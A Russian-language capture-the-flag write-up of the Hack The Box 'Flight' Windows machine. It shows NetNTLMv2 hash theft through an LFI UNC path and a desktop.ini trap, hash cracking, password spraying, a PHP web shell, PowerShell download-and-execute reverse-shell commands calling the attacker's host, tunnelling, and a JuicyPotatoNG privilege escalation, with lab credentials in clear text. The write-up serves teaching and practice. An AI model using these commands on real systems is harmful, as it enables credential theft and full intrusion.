Хакер - HTB Flight. Повышаем привилегии в Windows
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
- SeImpersonatePrivilege
В этом райтапе я покажу, как похищать пароли пользователей Windows разными способами, после чего мы захватим веб‑сервер, пройдя по цепочке уязвимостей, которые позволят нам раз за разом повышать привилегии.
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

В результатах сканирования видим много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Apache 2.4.52;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP/RPC/EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.

ТОЧКА ВХОДА
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fs— фильтр, исключающий страницы по размеру;-H— HTTP-заголовок.
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069

Находим новый поддомен и вносим его в файл /etc/hosts.
10.10.11.187 flight.htb school.flight.htb

Обрати внимание, что загружаемая страница указывается в качестве параметра view. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view файл index.php.
http://school.flight.htb/index.php?view=index.php

Видим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.

Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность //, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
http://school.flight.htb/index.php?view=//10.10.14.16/share

Отправляем хеш на перебор, в качестве режима hashcat (параметр -m) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt

Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'

Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares

ТОЧКА ОПОРЫ
Давай подключимся к общему ресурсу Web и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187

Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares

Для записи доступен каталог Shared. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.ini, в котором параметр IconResource указывает на наш внешний ресурс.
[.ShellClassInfo]
IconResource=\\10.10.14.51\share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187

Спустя некоторое время после загрузки файла получаем учетные данные пользователя c.bum.
sudo responder -v -I tun0

Брутим полученный хеш тем же методом, что и раньше.
hashcat -m 5600 5600.hash rockyou.txt

Таким образом получаем еще одну подконтрольную учетную запись. И снова просматриваем доступные в новом контексте сетевые ресурсы SMB.
crackmapexec smb 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284' --shares

Теперь у нас есть право записи в каталог Web, а это значит, что мы можем поместить туда веб‑шелл и получить доступ к хосту. Будем использовать самый простой шелл на PHP.
<?php echo system($_GET['cmd']); ?>
Загружаем его в каталог сайта school и пробуем выполнить команду whoami.
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@10.10.11.187

curl 'http://school.flight.htb/shell.php?cmd=whoami'
ПРОДВИЖЕНИЕ
Теперь пробросим реверс‑шелл, для чего будем использовать инструмент Villain. После установки и запуска сразу генерируем нагрузку.
generate os=windows lhost=tun0

Записываем сгенерированную нагрузку в файл (у меня r.ps1) и запускаем на удаленном хосте через PowerShell.
curl 'http://school.flight.htb/shell.php?cmd=powershell.exe+IEX(New-Object%20Net.WebClient).DownloadString(%27http://10.10.14.51/r.ps1%27)'

Переименуем сессию и получим шелл.
alias shell1 09ca02b5-095cd2df-b11c673a
shell shell1


На рабочем столе нет флага, а значит, это не целевой пользователь. Так как мы знаем учетные данные пользователя c.bum, то можем его имперсонировать. Для этого используем PowerShell-версию утилиты RunasCs. Загружаем скрипт со своего хоста, передаем учетные данные и выполняемую команду.
IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.51/Invoke-RunasCs.ps1")
Invoke-RunasCs c.bum Tikkycoll_431012284 whoami

Все получилось, поэтому кидаем другой реверс‑шелл в контексте нового пользователя.
Invoke-RunasCs c.bum Tikkycoll_431012284 "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.51/r.ps1')"

Как только пришел бэкконнект, меняем имя сессии, получаем шелл и проверяем флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Получаем полную информацию о пользователе, чтобы понимать контекст, в котором мы работаем.
whoami /all

Пользователь состоит в группе WebDevs, при этом на диске C находим каталог inetpub\development.

Структура каталогов типична для веб‑сервера Microsoft IIS, хотя изначально мы работали в Apache. Просмотрим список используемых портов.
netstat /an

Находим веб‑порт 8000. Чтобы получить доступ к нему, нужно построить туннель, для чего будем использовать chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 4321 (параметр -p).
./chisel.bin server --reverse -p 4321
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks.
.\c.exe client 10.10.14.51:4321 R:socks
В логах сервера должны увидеть сообщение о создании сессии.

Для туннелирования трафика настроим proxychains, для этого в файле конфигураций /etc/proxychains.conf сделаем такую запись:
socks5 127.0.0.1 1080
Сканируем порты 80 и 8000 и убеждаемся, что за них отвечают разные веб‑серверы.
proxychains -q nmap -p80,8000 -A -Pn 127.0.0.1

Так как мы в группе разработчиков, мы можем записывать в каталог сайта. Записываем любой ASPX-шелл (в интернете их много) и заходим через браузер.
wget http://10.10.14.51/shell.aspx -OutFile C:\inetpub\development\s.aspx


SeImpersonatePrivilege
Так как мы работаем от имени веб‑сервера IIS, у нас активирована привилегия SeImpersonatePrivilege. Как говорит Microsoft:
Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Дело в том, что мы можем поднять свои права до SYSTEM, используя один из эксплоитов семейства Potato. Я взял последний — JuicyPotatoNG. Запускаем программу, а в качестве целевого процесса выбираем PowerShell, запускающий нагрузку с нашего хоста.
C:\Users\Public\Downloads\jp.exe -t * -p "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-c IEX(New-ObjectNet.WebClient).DownloadString('http://10.10.14.51:88/r3.ps1')"

Видим, что в Villain появилась новая сессия в контексте системы.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei